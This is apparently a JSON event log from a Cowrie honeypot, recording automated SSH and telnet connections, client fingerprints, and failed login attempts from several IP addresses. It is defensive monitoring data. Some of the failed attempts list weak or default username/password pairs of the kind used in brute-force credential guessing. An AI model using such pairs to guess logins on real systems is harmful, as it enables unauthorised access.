{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:55.573989Z","src_ip":"83.168.110.85","session":"6edce37d2280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:55.854116Z","src_ip":"83.168.110.85","session":"6edce37d2280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:56.405984Z","src_ip":"83.168.110.85","session":"6edce37d2280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":55640,"dst_ip":"10.17.0.5","dst_port":22,"session":"f03b3db34e4d","protocol":"ssh","message":"New connection: 43.153.65.139:55640 (10.17.0.5:22) [session: f03b3db34e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:56.740506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:56.745453Z","src_ip":"43.153.65.139","session":"f03b3db34e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:56.814287Z","src_ip":"43.153.65.139","session":"f03b3db34e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhang123456","message":"login attempt [root/zhang123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:57.122904Z","src_ip":"43.153.65.139","session":"f03b3db34e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:57.664963Z","src_ip":"83.168.110.85","session":"6edce37d2280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":36514,"dst_ip":"10.17.0.5","dst_port":22,"session":"2be450a8448c","protocol":"ssh","message":"New connection: 39.117.79.36:36514 (10.17.0.5:22) [session: 2be450a8448c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:57.683283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:57.688457Z","src_ip":"39.117.79.36","session":"2be450a8448c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:57.884530Z","src_ip":"39.117.79.36","session":"2be450a8448c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:58.194967Z","src_ip":"43.153.65.139","session":"f03b3db34e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user11","password":"user11","message":"login attempt [user11/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:58.689608Z","src_ip":"39.117.79.36","session":"2be450a8448c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:59.887972Z","src_ip":"39.117.79.36","session":"2be450a8448c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45302,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5c2df42b4b6","protocol":"ssh","message":"New connection: 83.168.110.85:45302 (10.17.0.5:22) [session: e5c2df42b4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:02.903069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:02.908653Z","src_ip":"83.168.110.85","session":"e5c2df42b4b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:03.036727Z","src_ip":"83.168.110.85","session":"e5c2df42b4b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:03.400856Z","src_ip":"83.168.110.85","session":"e5c2df42b4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:04.773407Z","src_ip":"83.168.110.85","session":"e5c2df42b4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41682,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a5ea3f2e27f","protocol":"ssh","message":"New connection: 83.168.110.85:41682 (10.17.0.5:22) [session: 9a5ea3f2e27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:09.711981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:09.721269Z","src_ip":"83.168.110.85","session":"9a5ea3f2e27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:09.847976Z","src_ip":"83.168.110.85","session":"9a5ea3f2e27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29fc10c4259","protocol":"telnet","message":"New connection: 152.42.224.71:42068 (10.17.0.5:23) [session: d29fc10c4259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:10.037068Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:10.226171Z","src_ip":"83.168.110.85","session":"9a5ea3f2e27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:11.358780Z","src_ip":"83.168.110.85","session":"9a5ea3f2e27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.333731174468994,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:13.370669Z","src_ip":"152.42.224.71","session":"d29fc10c4259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55550,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbaede392614","protocol":"ssh","message":"New connection: 83.168.110.85:55550 (10.17.0.5:22) [session: bbaede392614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:16.971632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:17.028735Z","src_ip":"83.168.110.85","session":"bbaede392614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:17.257763Z","src_ip":"83.168.110.85","session":"bbaede392614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":55172,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a65b102b94","protocol":"ssh","message":"New connection: 43.153.50.142:55172 (10.17.0.5:22) [session: d1a65b102b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:17.542552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:17.548071Z","src_ip":"43.153.50.142","session":"d1a65b102b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:17.618419Z","src_ip":"43.153.50.142","session":"d1a65b102b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:17.719302Z","src_ip":"83.168.110.85","session":"bbaede392614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"qwerty","message":"login attempt [www-data/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:17.928073Z","src_ip":"43.153.50.142","session":"d1a65b102b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:18.933219Z","src_ip":"83.168.110.85","session":"bbaede392614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:19.007702Z","src_ip":"43.153.50.142","session":"d1a65b102b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42598,"dst_ip":"10.17.0.5","dst_port":23,"session":"862d3f1f22c8","protocol":"telnet","message":"New connection: 152.42.224.71:42598 (10.17.0.5:23) [session: 862d3f1f22c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:19.852520Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55556,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc533e2632f","protocol":"ssh","message":"New connection: 83.168.110.85:55556 (10.17.0.5:22) [session: fdc533e2632f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:24.003700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:24.009955Z","src_ip":"83.168.110.85","session":"fdc533e2632f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:24.131263Z","src_ip":"83.168.110.85","session":"fdc533e2632f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42602,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5fea6cd5090","protocol":"telnet","message":"New connection: 152.42.224.71:42602 (10.17.0.5:23) [session: f5fea6cd5090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:24.455080Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:24.495237Z","src_ip":"83.168.110.85","session":"fdc533e2632f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:25.782804Z","src_ip":"83.168.110.85","session":"fdc533e2632f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":45104,"dst_ip":"10.17.0.5","dst_port":22,"session":"877dd6e16ee4","protocol":"ssh","message":"New connection: 103.82.132.16:45104 (10.17.0.5:22) [session: 877dd6e16ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:28.134163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:28.139996Z","src_ip":"103.82.132.16","session":"877dd6e16ee4","protocol":"ssh"}
